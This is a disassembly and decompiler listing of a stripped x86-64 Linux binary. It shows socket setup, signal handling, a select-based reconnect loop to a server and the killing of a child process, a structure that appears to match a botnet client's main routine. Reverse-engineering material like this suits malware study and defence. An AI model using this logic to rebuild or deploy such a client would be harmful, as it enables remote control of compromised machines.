    if ((*piVar9 == 0xb) || (*piVar9 == 4)) goto LAB_00400469;
  }
LAB_00400b20:
  FUN_00412c9a();
  goto LAB_00400469;
  while( true ) {
    FUN_004138f6(local_850,local_980[0] & 0xffffffff);
    iVar10 = iVar10 + -1;
    if (iVar10 == 0) break;
LAB_00400aab:
    local_980[0] = local_980[0] & 0xffffffff00000000;
    iVar11 = FUN_0041215b(DAT_0062ba24,local_850,0x800,local_980);
    if (iVar11 != 1) break;
  }
  goto LAB_00400469;
}

Assembly · 591 instructions, 5 annotated
AddressBytesInstructionComment
004001d048 83 ec 18SUB RSP,0x18
004001d489 7c 24 0cMOV dword ptr [RSP + local_c],EDI
004001d8e8 6d 7a 01 00CALL FUN_00417c4a
004001dde8 69 7a 01 00CALL FUN_00417c4b
004001e231 c0XOR EAX,EAX
004001e4e8 20 4c 02 00CALL FUN_00424e09
004001e98b 7c 24 0cMOV EDI,dword ptr [RSP + local_c]
004001ede8 9a df 01 00CALL FUN_0041e18c
004001f241 57PUSH R15
004001f441 56PUSH R14
004001f641 55PUSH R13
004001f849 89 f5MOV R13,RSI
004001fb31 f6XOR ESI,ESI
004001fd41 54PUSH R12
004001ff55PUSH RBP
0040020053PUSH RBX
0040020189 fbMOV EBX,EDI
0040020331 ffXOR EDI,EDI
0040020548 81 ec 68 09 00 00SUB RSP,0x968
0040020ce8 28 db 01 00CALL FUN_0041dd39
0040021148 8d ac 24 60 01 00 00LEA RBP,[RSP + 0x160]
004002194c 8d 64 24 40LEA R12,[RSP + 0x40]
0040021ee8 7d d9 00 00CALL FUN_0040dba0
00400223e8 60 37 01 00CALL FUN_00413988
0040022831 c0XOR EAX,EAX
0040022ae8 cf c6 00 00CALL FUN_0040c8fe
0040022f48 89 efMOV RDI,RBP
00400232e8 93 be 01 00CALL FUN_0041c0ca
00400237be 02 00 00 00MOV ESI,0x2
0040023c48 89 efMOV RDI,RBP
0040023fe8 57 be 01 00CALL FUN_0041c09b
00400244be 01 00 00 00MOV ESI,0x1
00400249bf 11 00 00 00MOV EDI,0x11
0040024ee8 81 be 01 00CALL FUN_0041c0d4
00400253be 01 00 00 00MOV ESI,0x1
00400258bf 01 00 00 00MOV EDI,0x1
0040025de8 72 be 01 00CALL FUN_0041c0d4
00400262be 01 00 00 00MOV ESI,0x1
00400267bf 14 00 00 00MOV EDI,0x14
0040026ce8 63 be 01 00CALL FUN_0041c0d4
00400271be 01 00 00 00MOV ESI,0x1
00400276bf 15 00 00 00MOV EDI,0x15
0040027be8 54 be 01 00CALL FUN_0041c0d4
00400280be 01 00 00 00MOV ESI,0x1
00400285bf 16 00 00 00MOV EDI,0x16
0040028ae8 45 be 01 00CALL FUN_0041c0d4
0040028f31 d2XOR EDX,EDX
0040029148 89 eeMOV RSI,RBP
0040029431 ffXOR EDI,EDI
00400296e8 92 be 01 00CALL FUN_0041c12d
0040029b48 8d 3d be 4b 02 00LEA RDI,[DAT_00424e60]
004002a2e8 88 d8 01 00CALL FUN_0041db2f
004002a7e8 3c d1 00 00CALL FUN_0040d3e8
004002acbe 20 00 00 00MOV ESI,0x20
004002b14c 89 e7MOV RDI,R12
004002b489 05 e6 ed 22 00MOV dword ptr [DAT_0062f0a0],EAX
004002bae8 5d cf 00 00CALL thunk_FUN_0040d215
004002bfff cbDEC EBX
004002c17e 30JLE LAB_004002f3
004002c349 8b 7d 08MOV RDI,qword ptr [R13 + 0x8]
004002c7e8 b0 cc 00 00CALL FUN_0040cf7c
004002cc83 f8 1fCMP EAX,0x1f
004002cf7f 22JG LAB_004002f3
004002d149 8b 75 08MOV RSI,qword ptr [R13 + 0x8]
004002d54c 89 e7MOV RDI,R12
004002d8e8 75 ce 00 00CALL FUN_0040d152
004002dd49 8b 7d 08MOV RDI,qword ptr [R13 + 0x8]
004002e1e8 96 cc 00 00CALL FUN_0040cf7c
004002e649 8b 7d 08MOV RDI,qword ptr [R13 + 0x8]
004002ea89 c6MOV ESI,EAX
004002ece8 2b cf 00 00CALL thunk_FUN_0040d215
004002f1eb 29JMP LAB_0040031c
LAB_004002f3:
004002f348 8b 05 f6 e3 22 00MOV RAX,qword ptr [DAT_0062e6f0]
004002fa48 8b b0 f0 0e 00 00MOV RSI,qword ptr [RAX + 0xef0]
0040030148 85 f6TEST RSI,RSI
0040030474 11JZ LAB_00400317
004003068b 88 f8 0e 00 00MOV ECX,dword ptr [RAX + 0xef8]
0040030c85 c9TEST ECX,ECX
0040030e7e 07JLE LAB_00400317
004003104c 89 e7MOV RDI,R12
00400313f3 a4MOVSB.REP RDI,RSI
00400315eb 05JMP LAB_0040031c
LAB_00400317:
00400317c6 44 24 40 6cMOV byte ptr [RSP + local_970],0x6c
LAB_0040031c:
0040031c4c 89 e7MOV RDI,R12
0040031fe8 c5 c0 00 00CALL FUN_0040c3e9
004003244c 89 efMOV RDI,R13
0040032745 31 edXOR R13D,R13D
0040032ae8 a1 36 01 00CALL FUN_004139d0
0040032fe8 91 4a 01 00CALL thunk_FUN_00414442
00400334e8 f8 d8 01 00CALL FUN_0041dc31
0040033985 c0TEST EAX,EAX
0040033b41 0f 94 c5SETZ R13B
0040033f74 25JZ LAB_00400366
00400341bf 02 00 00 00MOV EDI,0x2
00400346ba 06 00 00 00MOV EDX,0x6
0040034bbe 03 00 00 00MOV ESI,0x3
00400350e8 ae b8 01 00CALL FUN_0041bc03
0040035589 c7MOV EDI,EAX
0040035785 c0TEST EAX,EAX
0040035978 0bJS LAB_00400366
0040035be8 e1 d7 01 00CALL FUN_0041db41
0040036041 bd 01 00 00 00MOV R13D,0x1
LAB_00400366:
0040036644 89 efMOV EDI,R13D
00400369e8 e5 c7 00 00CALL FUN_0040cb53
0040036ee8 05 2a 01 00CALL FUN_00412d78
00400373e8 fa c6 00 00CALL FUN_0040ca72
00400378e8 f1 d7 00 00CALL FUN_0040db6e
0040037de8 16 d8 00 00CALL FUN_0040db98
0040038248 85 c0TEST RAX,RAX
0040038574 30JZ LAB_004003b7
0040038748 8b 30MOV RSI,qword ptr [RAX]
0040038a48 85 f6TEST RSI,RSI
0040038d74 28JZ LAB_004003b7
0040038f48 63 50 08MOVSXD RDX,dword ptr [RAX + 0x8]
0040039385 d2TEST EDX,EDX
004003957e 20JLE LAB_004003b7
00400397bf 01 00 00 00MOV EDI,0x1
0040039ce8 34 da 01 00CALL FUN_0041ddd5
004003a1ba 01 00 00 00MOV EDX,0x1
004003a6bf 01 00 00 00MOV EDI,0x1
004003ab48 8d 35 9b 6a 02 00LEA RSI,[DAT_00426e4d]
004003b2e8 1e da 01 00CALL FUN_0041ddd5
LAB_004003b7:
004003b7e8 22 ba 01 00CALL FUN_0041bdde
004003bc85 c0TEST EAX,EAX
004003be0f 8f a7 07 00 00JG LAB_00400b6b
004003c4e8 88 d9 01 00CALL FUN_0041dd51
004003c931 ffXOR EDI,EDI
004003cbe8 71 d7 01 00CALL FUN_0041db41
004003d0bf 01 00 00 00MOV EDI,0x1
004003d5e8 67 d7 01 00CALL FUN_0041db41
004003dabf 02 00 00 00MOV EDI,0x2
004003dfe8 5d d7 01 00CALL FUN_0041db41
004003e4e8 45 5f 01 00CALL FUN_0041632e
004003e931 c0XOR EAX,EAX
004003ebe8 9f cb 00 00CALL FUN_0040cf8f
004003f049 89 c5MOV R13,RAX
004003f348 85 c0TEST RAX,RAX
004003f674 18JZ LAB_00400410
004003f848 89 c7MOV RDI,RAX
004003fbe8 cb 51 01 00CALL FUN_004155cb
004004004c 89 efMOV RDI,R13
00400403e8 9f 6d 01 00CALL FUN_004171a7
004004084c 89 efMOV RDI,R13
0040040be8 f0 7b 01 00CALL thunk_FUN_004183e7
LAB_00400410:
00400410e8 c1 5f 01 00CALL FUN_004163d6
00400415e8 e9 6f 01 00CALL FUN_00417403
0040041a8b 05 80 be 2b 00MOV EAX,dword ptr [DAT_006bc2a0]
0040042089 05 ae eb 22 00MOV dword ptr [DAT_0062efd4],EAX
00400426e8 6c d8 01 00CALL FUN_0041dc97
0040042b89 c7MOV EDI,EAX
0040042de8 98 49 01 00CALL FUN_00414dca
0040043231 c0XOR EAX,EAX
00400434e8 c5 c4 00 00CALL FUN_0040c8fe
0040043931 c0XOR EAX,EAX
0040043be8 4f cb 00 00CALL FUN_0040cf8f
0040044049 89 c5MOV R13,RAX
0040044348 85 c0TEST RAX,RAX
0040044674 18JZ LAB_00400460
0040044848 89 c7MOV RDI,RAX
0040044be8 7b 51 01 00CALL FUN_004155cb
004004504c 89 efMOV RDI,R13
00400453e8 4f 6d 01 00CALL FUN_004171a7
004004584c 89 efMOV RDI,R13
0040045be8 a0 7b 01 00CALL thunk_FUN_004183e7
LAB_00400460:
0040046031 dbXOR EBX,EBX
004004624c 8d 3d 77 eb 22 00LEA R15,[DAT_0062efe0]
LAB_00400469:
004004694c 8d 6c 24 60LEA R13,[RSP + 0x60]
0040046e31 c0XOR EAX,EAX
00400470b9 20 00 00 00MOV ECX,0x20
004004754c 89 efMOV RDI,R13
004004784c 8d b4 24 e0 00 00 00LEA R14,[RSP + 0xe0]
00400480f3 abSTOSD.REP RDI
00400482b9 20 00 00 00MOV ECX,0x20
004004874c 89 f7MOV RDI,R14
0040048af3 abSTOSD.REP RDI
0040048c8b 0d 96 b5 22 00MOV ECX,dword ptr [DAT_0062ba28]
0040049283 f9 ffCMP ECX,-0x1
0040049574 14JZ LAB_004004ab
0040049748 63 c1MOVSXD RAX,ECX
0040049aba 01 00 00 00MOV EDX,0x1
0040049f48 c1 e8 06SHR RAX,0x6
004004a348 d3 e2SHL RDX,CL
004004a648 89 54 c4 60MOV qword ptr [RSP + RAX*0x8 + 0x60],RDX
LAB_004004ab:
004004ab83 3d 72 b5 22 00 ffCMP dword ptr [DAT_0062ba24],-0x1
004004b20f 85 98 01 00 00JNZ LAB_00400650
004004b8bf 02 00 00 00MOV EDI,0x2
004004bd31 d2XOR EDX,EDX
004004bfbe 01 00 00 00MOV ESI,0x1
004004c4e8 3a b7 01 00CALL FUN_0041bc03
004004c989 05 55 b5 22 00MOV dword ptr [DAT_0062ba24],EAX
004004cf89 c7MOV EDI,EAX
004004d183 f8 ffCMP EAX,-0x1
004004d40f 84 76 01 00 00JZ LAB_00400650
004004da31 d2XOR EDX,EDX
004004dcbe 03 00 00 00MOV ESI,0x3
004004e131 c0XOR EAX,EAX
004004e3e8 86 77 01 00CALL FUN_00417c6e
004004e88b 3d 36 b5 22 00MOV EDI,dword ptr [DAT_0062ba24]
004004eebe 04 00 00 00MOV ESI,0x4
004004f380 cc 08OR AH,0x8
004004f689 c2MOV EDX,EAX
004004f831 c0XOR EAX,EAX
004004fae8 6f 77 01 00CALL FUN_00417c6e
004004ff41 80 3f 00CMP byte ptr [R15],0x0
0040050366 c7 05 84 eb 22 00 02 …MOV word ptr [DAT_0062f090],0x2
0040050c74 10JZ LAB_0040051e
0040050ee8 28 27 01 00CALL FUN_00412c3b
00400513bf 01 00 00 00MOV EDI,0x1
0040051884 c0TEST AL,AL
0040051a74 04JZ LAB_00400520
0040051ceb 2dJMP LAB_0040054b
LAB_0040051e:
0040051e31 ffXOR EDI,EDI
LAB_00400520:
00400520e8 64 2c 01 00CALL FUN_00413189
0040052584 c0TEST AL,AL
0040052774 06JZ LAB_0040052f
0040052941 80 3f 00CMP byte ptr [R15],0x0
0040052d75 1cJNZ LAB_0040054b
LAB_0040052f:
0040052f80 3d 32 eb 22 00 00CMP byte ptr [DAT_0062f068],0x0
004005360f 85 c5 00 00 00JNZ LAB_00400601
0040053cc7 05 4e eb 22 00 00 00 …MOV dword ptr [DAT_0062f094],0x0
00400546e9 06 06 00 00JMP LAB_00400b51
LAB_0040054b:
0040054b0f b6 05 8f ea 22 00MOVZX EAX,byte ptr [DAT_0062efe1]
0040055284 c0TEST AL,AL
0040055474 d9JZ LAB_0040052f
004005568b 15 88 ea 22 00MOV EDX,dword ptr [DAT_0062efe4]
0040055c31 f6XOR ESI,ESI
0040055e31 c9XOR ECX,ECX
00400560bf 01 00 00 00MOV EDI,0x1
LAB_00400565:
0040056541 89 f8MOV R8D,EDI
0040056841 d3 e0SHL R8D,CL
0040056b41 85 d0TEST R8D,EDX
0040056e75 0dJNZ LAB_0040057d
004005704c 63 c6MOVSXD R8,ESI
00400573ff c6INC ESI
0040057542 89 8c 84 60 01 00 00MOV dword ptr [RSP + R8*0x4 + 0x160],ECX
LAB_0040057d:
0040057dff c1INC ECX
0040057f39 c1CMP ECX,EAX
004005817c e2JL LAB_00400565
0040058385 f6TEST ESI,ESI
0040058575 28JNZ LAB_004005af
00400587bf 01 00 00 00MOV EDI,0x1
0040058ce8 f8 2b 01 00CALL FUN_00413189
0040059184 c0TEST AL,AL
0040059374 9aJZ LAB_0040052f
004005950f b6 35 45 ea 22 00MOVZX ESI,byte ptr [DAT_0062efe1]
0040059c31 c0XOR EAX,EAX
LAB_0040059e:
0040059e39 c6CMP ESI,EAX
004005a07e 09JLE LAB_004005ab
004005a289 44 85 00MOV dword ptr [RBP + RAX*0x4],EAX
004005a648 ff c0INC RAX
004005a9eb f3JMP LAB_0040059e
LAB_004005ab:
004005ab85 f6TEST ESI,ESI
004005ad74 80JZ LAB_0040052f
LAB_004005af:
004005af89 74 24 0cMOV dword ptr [RSP + local_9a4],ESI
004005b3e8 f5 c4 00 00CALL FUN_0040caad
004005b88b 74 24 0cMOV ESI,dword ptr [RSP + local_9a4]
004005bc31 d2XOR EDX,EDX
004005bef7 f6DIV ESI
004005c048 63 84 94 60 01 00 00MOVSXD RAX,dword ptr [RSP + RDX*0x4 + 0x160]
004005c888 05 14 ea 22 00MOV byte ptr [DAT_0062efe2],AL
004005ce41 8b 44 87 08MOV EAX,dword ptr [R15 + RAX*0x4 + 0x8]
004005d389 05 bb ea 22 00MOV dword ptr [DAT_0062f094],EAX
004005d9e8 cc 34 01 00CALL FUN_00413aaa
004005de8b 15 b0 ea 22 00MOV EDX,dword ptr [DAT_0062f094]
004005e4c6 05 7d ea 22 00 01MOV byte ptr [DAT_0062f068],0x1
004005eb66 89 05 a0 ea 22 00MOV word ptr [DAT_0062f092],AX
004005f289 15 74 ea 22 00MOV dword ptr [DAT_0062f06c],EDX
004005f866 89 05 71 ea 22 00MOV word ptr [DAT_0062f070],AX
004005ffeb 19JMP LAB_0040061a
LAB_00400601:
004006018b 05 65 ea 22 00MOV EAX,dword ptr [DAT_0062f06c]
0040060789 05 87 ea 22 00MOV dword ptr [DAT_0062f094],EAX
0040060d8b 05 5d ea 22 00MOV EAX,dword ptr [DAT_0062f070]
0040061366 89 05 78 ea 22 00MOV word ptr [DAT_0062f092],AX
LAB_0040061a:
0040061a83 3d 73 ea 22 00 00CMP dword ptr [DAT_0062f094],0x0
004006218b 3d fd b3 22 00MOV EDI,dword ptr [DAT_0062ba24]
004006270f 84 24 05 00 00JZ LAB_00400b51
0040062dba 10 00 00 00MOV EDX,0x10
0040063248 8d 35 57 ea 22 00LEA RSI,[DAT_0062f090]
00400639c6 05 40 ea 22 00 01MOV byte ptr [DAT_0062f080],0x1
00400640e8 44 90 01 00CALL FUN_00419689
0040064585 c0TEST EAX,EAX
0040064775 07JNZ LAB_00400650
00400649c6 05 30 ea 22 00 00MOV byte ptr [DAT_0062f080],0x0
LAB_00400650:
0040065048 63 0d cd b3 22 00MOVSXD RCX,dword ptr [DAT_0062ba24]
0040065783 f9 ffCMP ECX,-0x1
0040065a74 24JZ LAB_00400680
0040065cb8 01 00 00 00MOV EAX,0x1
0040066148 d3 e0SHL RAX,CL
0040066448 c1 e9 06SHR RCX,0x6
0040066880 3d 11 ea 22 00 00CMP byte ptr [DAT_0062f080],0x0
0040066f74 0aJZ LAB_0040067b
0040067148 09 84 cc e0 00 00 00OR qword ptr [RSP + RCX*0x8 + 0xe0],RAX
00400679eb 05JMP LAB_00400680
LAB_0040067b:
0040067b48 09 44 cc 60OR qword ptr [RSP + RCX*0x8 + 0x60],RAX
LAB_00400680:
00400680e8 86 a3 00 00CALL FUN_0040aa0b
0040068589 c1MOV ECX,EAX
0040068785 c0TEST EAX,EAX
0040068978 13JS LAB_0040069e
0040068b48 98CDQE
0040068dba 01 00 00 00MOV EDX,0x1
0040069248 c1 e8 06SHR RAX,0x6
0040069648 d3 e2SHL RDX,CL
0040069948 09 54 c4 60OR qword ptr [RSP + RAX*0x8 + 0x60],RDX
LAB_0040069e:
0040069e8b 05 80 b3 22 00MOV EAX,dword ptr [DAT_0062ba24]
004006a48b 3d 7e b3 22 00MOV EDI,dword ptr [DAT_0062ba28]
004006aa83 f8 ffCMP EAX,-0x1
004006ad74 05JZ LAB_004006b4
004006af39 c7CMP EDI,EAX
004006b10f 4c f8CMOVL EDI,EAX
LAB_004006b4:
004006b489 7c 24 0cMOV dword ptr [RSP + local_9a4],EDI
004006b8e8 4e a3 00 00CALL FUN_0040aa0b
004006bd8b 7c 24 0cMOV EDI,dword ptr [RSP + local_9a4]
004006c139 c7CMP EDI,EAX
004006c30f 4c f8CMOVL EDI,EAX
004006c683 ff ffCMP EDI,-0x1
004006c90f 84 7a 04 00 00JZ LAB_00400b49
004006cf48 c7 44 24 28 00 00 00 …MOV qword ptr [RSP + local_988],0x0
004006d880 3d 25 e0 22 00 00CMP byte ptr [DAT_0062e704],0x0
004006df74 0eJZ LAB_004006ef
004006e180 3d 18 e0 22 00 00CMP byte ptr [DAT_0062e700],0x0
004006e8b8 01 00 00 00MOV EAX,0x1
004006ed74 15JZ LAB_00400704
LAB_004006ef:
004006ef83 3d 2e b3 22 00 ffCMP dword ptr [DAT_0062ba24],-0x1
004006f6b8 03 00 00 00MOV EAX,0x3
004006fbba 0f 00 00 00MOV EDX,0xf
0040070048 0f 45 c2CMOVNZ RAX,RDX
LAB_00400704:
00400704ff c7INC EDI
0040070631 c9XOR ECX,ECX
004007084c 89 f2MOV RDX,R14
0040070b48 89 44 24 20MOV qword ptr [RSP + local_990],RAX
004007104c 8d 44 24 20LEA R8,[RSP + 0x20]
004007154c 89 eeMOV RSI,R13
00400718e8 7b b8 01 00CALL FUN_0041bf98
0040071d83 f8 ffCMP EAX,-0x1
004007200f 84 23 04 00 00JZ LAB_00400b49
0040072641 89 ddMOV R13D,EBX
0040072985 c0TEST EAX,EAX
0040072b0f 85 a8 00 00 00JNZ LAB_004007d9
00400731e8 d5 a2 00 00CALL FUN_0040aa0b
0040073685 c0TEST EAX,EAX
0040073878 0eJS LAB_00400748
0040073a31 f6XOR ESI,ESI
0040073c48 8d 3d 30 26 01 00LEA RDI,[LAB_00412d73]
00400743e8 7d a8 00 00CALL FUN_0040afc5
LAB_00400748:
004007488b 3d d6 b2 22 00MOV EDI,dword ptr [DAT_0062ba24]
0040074e41 89 ddMOV R13D,EBX
0040075183 ff ffCMP EDI,-0x1
0040075474 53JZ LAB_004007a9
0040075689 d8MOV EAX,EBX
00400758b9 06 00 00 00MOV ECX,0x6
0040075d44 8d 6b 01LEA R13D,[RBX + 0x1]
0040076199CDQ
00400762f7 f9IDIV ECX
0040076485 d2TEST EDX,EDX
0040076675 41JNZ LAB_004007a9
0040076880 3d 91 df 22 00 00CMP byte ptr [DAT_0062e700],0x0
0040076f74 13JZ LAB_00400784
00400771ba 12 00 00 00MOV EDX,0x12
0040077648 8d 35 83 80 02 00LEA RSI,[DAT_00428800]
0040077de8 6f 19 01 00CALL FUN_004120f1; FUN_004120f1: unknown
00400782eb 25JMP LAB_004007a9
LAB_00400784:
0040078480 3d 79 df 22 00 00CMP byte ptr [DAT_0062e704],0x0
0040078b75 1cJNZ LAB_004007a9
0040078db9 00 40 00 00MOV ECX,0x4000
00400792ba 02 00 00 00MOV EDX,0x2
0040079748 89 eeMOV RSI,RBP
0040079a66 c7 84 24 60 01 00 00 …MOV word ptr [RSP + local_850],0x0
004007a4e8 fa b3 01 00CALL FUN_0041bba3
LAB_004007a9:
004007a980 3d 54 df 22 00 00CMP byte ptr [DAT_0062e704],0x0
004007b074 27JZ LAB_004007d9
004007b280 3d 47 df 22 00 00CMP byte ptr [DAT_0062e700],0x0
004007b975 1eJNZ LAB_004007d9
004007bb48 83 3d b5 e8 22 00 00CMP qword ptr [DAT_0062f078],0x0
004007c374 14JZ LAB_004007d9
004007c531 ffXOR EDI,EDI
004007c7e8 24 d3 01 00CALL FUN_0041daf0
004007cc48 3b 05 a5 e8 22 00CMP RAX,qword ptr [DAT_0062f078]
004007d30f 8f 47 03 00 00JG LAB_00400b20
LAB_004007d9:
004007d9e8 2d a2 00 00CALL FUN_0040aa0b
004007de85 c0TEST EAX,EAX
004007e078 20JS LAB_00400802
004007e248 63 d0MOVSXD RDX,EAX
004007e548 c1 ea 06SHR RDX,0x6
004007e948 8b 54 d4 60MOV RDX,qword ptr [RSP + RDX*0x8 + 0x60]
004007ee48 0f a3 c2BT RDX,RAX
004007f273 0eJNC LAB_00400802
004007f431 f6XOR ESI,ESI
004007f648 8d 3d 76 25 01 00LEA RDI,[LAB_00412d73]
004007fde8 c3 a7 00 00CALL FUN_0040afc5
LAB_00400802:
004008028b 3d 20 b2 22 00MOV EDI,dword ptr [DAT_0062ba28]
0040080883 ff ffCMP EDI,-0x1
0040080b74 66JZ LAB_00400873
0040080d48 63 c7MOVSXD RAX,EDI
0040081048 c1 e8 06SHR RAX,0x6
0040081448 8b 44 c4 60MOV RAX,qword ptr [RSP + RAX*0x8 + 0x60]
0040081948 0f a3 f8BT RAX,RDI
0040081d73 54JNC LAB_00400873
0040081f48 8d 54 24 30LEA RDX,[RSP + 0x30]
0040082448 89 eeMOV RSI,RBP
00400827c7 44 24 30 10 00 00 00MOV dword ptr [RSP + local_980],0x10
0040082fe8 06 8e 01 00CALL FUN_0041963a
004008348b 3d ee b1 22 00MOV EDI,dword ptr [DAT_0062ba28]
0040083ae8 02 d3 01 00CALL FUN_0041db41
0040083f8b 3d 8f e7 22 00MOV EDI,dword ptr [DAT_0062efd4]
00400845c7 05 d9 b1 22 00 ff ff …MOV dword ptr [DAT_0062ba28],0xffffffff
0040084f85 ffTEST EDI,EDI
004008517e 0aJLE LAB_0040085d
00400853be 09 00 00 00MOV ESI,0x9
00400858e8 26 b8 01 00CALL FUN_0041c083
LAB_0040085d:
0040085de8 85 55 01 00CALL FUN_00415de7
00400862bf 01 00 00 00MOV EDI,0x1
00400867e8 f7 d4 01 00CALL FUN_0041dd63
0040086c31 ffXOR EDI,EDI
0040086ee8 5d f9 ff ffCALL FUN_004001d0
LAB_00400873:
0040087380 3d 06 e8 22 00 00CMP byte ptr [DAT_0062f080],0x0
0040087a8b 3d a4 b1 22 00MOV EDI,dword ptr [DAT_0062ba24]
004008800f 84 dd 00 00 00JZ LAB_00400963
0040088648 63 c7MOVSXD RAX,EDI
0040088989 faMOV EDX,EDI
0040088bc6 05 ee e7 22 00 00MOV byte ptr [DAT_0062f080],0x0
0040089248 c1 e8 06SHR RAX,0x6
0040089683 e2 3fAND EDX,0x3f
0040089948 8b 8c c4 e0 00 00 00MOV RCX,qword ptr [RSP + RAX*0x8 + 0xe0]
004008a148 0f a3 f9BT RCX,RDI
004008a572 0fJC LAB_004008b6
004008a748 8b 44 c4 60MOV RAX,qword ptr [RSP + RAX*0x8 + 0x60]
004008ac48 0f a3 d0BT RAX,RDX
004008b00f 83 a1 00 00 00JNC LAB_00400957
LAB_004008b6:
004008b648 8d 4c 24 1cLEA RCX,[RSP + 0x1c]
004008bb4c 8d 44 24 30LEA R8,[RSP + 0x30]
004008c0ba 04 00 00 00MOV EDX,0x4
004008c5be 01 00 00 00MOV ESI,0x1
004008cac7 44 24 1c 00 00 00 00MOV dword ptr [RSP + local_994],0x0
004008d2c7 44 24 30 04 00 00 00MOV dword ptr [RSP + local_980],0x4
004008dae8 08 92 01 00CALL FUN_00419ae7
004008df83 7c 24 1c 00CMP dword ptr [RSP + local_994],0x0
004008e474 38JZ LAB_0040091e
004008e6e8 8a 23 01 00CALL FUN_00412c75
004008eb8b 3d 33 b1 22 00MOV EDI,dword ptr [DAT_0062ba24]
004008f1e8 4b d2 01 00CALL FUN_0041db41
004008f6c7 05 24 b1 22 00 ff ff …MOV dword ptr [DAT_0062ba24],0xffffffff
00400900e8 a8 c1 00 00CALL FUN_0040caad
00400905b9 0a 00 00 00MOV ECX,0xa
0040090a31 d2XOR EDX,EDX
0040090cf7 f1DIV ECX
0040090e8d 7a 01LEA EDI,[RDX + 0x1]
00400911e8 4d d4 01 00CALL FUN_0041dd63
LAB_00400916:
0040091644 89 ebMOV EBX,R13D
00400919e9 4b fb ff ffJMP LAB_00400469
LAB_0040091e:
0040091e8b 3d 00 b1 22 00MOV EDI,dword ptr [DAT_0062ba24]
0040092441 b8 04 00 00 00MOV R8D,0x4
0040092a48 89 e9MOV RCX,RBP
0040092dba 01 00 00 00MOV EDX,0x1
00400932c7 84 24 60 01 00 00 01 …MOV dword ptr [RSP + local_850],0x1
0040093dbe 06 00 00 00MOV ESI,0x6
00400942e8 98 b2 01 00CALL FUN_0041bbdf
004009478b 3d d7 b0 22 00MOV EDI,dword ptr [DAT_0062ba24]
0040094d4c 89 e6MOV RSI,R12
00400950e8 7b 29 01 00CALL FUN_004132d0; FUN_004132d0: unknown
00400955eb bfJMP LAB_00400916
LAB_00400957:
00400957e8 19 23 01 00CALL FUN_00412c75
0040095ce8 39 23 01 00CALL FUN_00412c9a
00400961eb b3JMP LAB_00400916
LAB_00400963:
0040096383 ff ffCMP EDI,-0x1
0040096674 aeJZ LAB_00400916
0040096848 63 c7MOVSXD RAX,EDI
0040096b48 c1 e8 06SHR RAX,0x6
0040096f48 8b 44 c4 60MOV RAX,qword ptr [RSP + RAX*0x8 + 0x60]
0040097448 0f a3 f8BT RAX,RDI
0040097873 9cJNC LAB_00400916
0040097a80 3d 7f dd 22 00 00CMP byte ptr [DAT_0062e700],0x0
0040098174 50JZ LAB_004009d3
00400983bb 10 00 00 00MOV EBX,0x10
004009884c 8d 74 24 30LEA R14,[RSP + 0x30]
LAB_0040098d:
0040098d8b 3d 91 b0 22 00MOV EDI,dword ptr [DAT_0062ba24]
004009934c 89 f1MOV RCX,R14
00400996ba 00 08 00 00MOV EDX,0x800
0040099b48 89 eeMOV RSI,RBP
0040099ec7 44 24 30 00 00 00 00MOV dword ptr [RSP + local_980],0x0
004009a6e8 b0 17 01 00CALL FUN_0041215b; FUN_0041215b: unknown
004009ab83 f8 01CMP EAX,0x1
004009ae75 16JNZ LAB_004009c6
004009b08b 74 24 30MOV ESI,dword ptr [RSP + local_980]
004009b448 89 efMOV RDI,RBP
004009b7e8 3a 2f 01 00CALL FUN_004138f6
004009bcff cbDEC EBX
004009be0f 84 52 ff ff ffJZ LAB_00400916
004009c4eb c7JMP LAB_0040098d
LAB_004009c6:
004009c685 c0TEST EAX,EAX
004009c80f 89 48 ff ff ffJNS LAB_00400916
004009cee9 4d 01 00 00JMP LAB_00400b20
LAB_004009d3:
004009d380 3d 2a dd 22 00 00CMP byte ptr [DAT_0062e704],0x0
004009da0f 84 07 01 00 00JZ LAB_00400ae7
004009e0bb 21 00 00 00MOV EBX,0x21
004009e541 be 01 00 00 00MOV R14D,0x1
LAB_004009eb:
004009eb8b 3d 33 b0 22 00MOV EDI,dword ptr [DAT_0062ba24]
004009f1ff cbDEC EBX
004009f30f 84 1d ff ff ffJZ LAB_00400916
004009f9e8 a3 12 01 00CALL FUN_00411ca1; FUN_00411ca1: unknown
004009fe85 c0TEST EAX,EAX
00400a0075 79JNZ LAB_00400a7b
00400a02b9 20 00 00 00MOV ECX,0x20
00400a0748 89 efMOV RDI,RBP
00400a0a4c 89 f2MOV RDX,R14
00400a0d48 89 eeMOV RSI,RBP
00400a10f3 abSTOSD.REP RDI
00400a1248 63 05 0b b0 22 00MOVSXD RAX,dword ptr [DAT_0062ba24]
00400a194c 8d 44 24 30LEA R8,[RSP + 0x30]
00400a1e48 c7 44 24 30 00 00 00 …MOV qword ptr [RSP + local_980],0x0
00400a2748 c7 44 24 38 00 00 00 …MOV qword ptr [RSP + local_978],0x0
00400a3048 89 c1MOV RCX,RAX
00400a3348 c1 e8 06SHR RAX,0x6
00400a3748 d3 e2SHL RDX,CL
00400a3a8d 79 01LEA EDI,[RCX + 0x1]
00400a3d31 c9XOR ECX,ECX
00400a3f48 89 94 c4 60 01 00 00MOV qword ptr [RSP + RAX*0x8 + 0x160],RDX
00400a4731 d2XOR EDX,EDX
00400a49e8 4a b5 01 00CALL FUN_0041bf98
00400a4e85 c0TEST EAX,EAX
00400a500f 8e c0 fe ff ffJLE LAB_00400916
00400a5648 63 05 c7 af 22 00MOVSXD RAX,dword ptr [DAT_0062ba24]
00400a5d48 89 c2MOV RDX,RAX
00400a6048 c1 e8 06SHR RAX,0x6
00400a6448 8b 84 c4 60 01 00 00MOV RAX,qword ptr [RSP + RAX*0x8 + 0x160]
00400a6c48 0f a3 d0BT RAX,RDX
00400a700f 82 75 ff ff ffJC LAB_004009eb
00400a76e9 9b fe ff ffJMP LAB_00400916
LAB_00400a7b:
00400a7b0f 88 9f 00 00 00JS LAB_00400b20
00400a81ff c8DEC EAX
00400a830f 85 8d fe ff ffJNZ LAB_00400916
00400a8980 3d 70 dc 22 00 00CMP byte ptr [DAT_0062e700],0x0
00400a9048 c7 05 dd e5 22 00 00 …MOV qword ptr [DAT_0062f078],0x0
00400a9b0f 84 75 fe ff ffJZ LAB_00400916
00400aa1bb 10 00 00 00MOV EBX,0x10
00400aa64c 8d 74 24 30LEA R14,[RSP + 0x30]
LAB_00400aab:
00400aab8b 3d 73 af 22 00MOV EDI,dword ptr [DAT_0062ba24]
00400ab14c 89 f1MOV RCX,R14
00400ab4ba 00 08 00 00MOV EDX,0x800
00400ab948 89 eeMOV RSI,RBP
00400abcc7 44 24 30 00 00 00 00MOV dword ptr [RSP + local_980],0x0
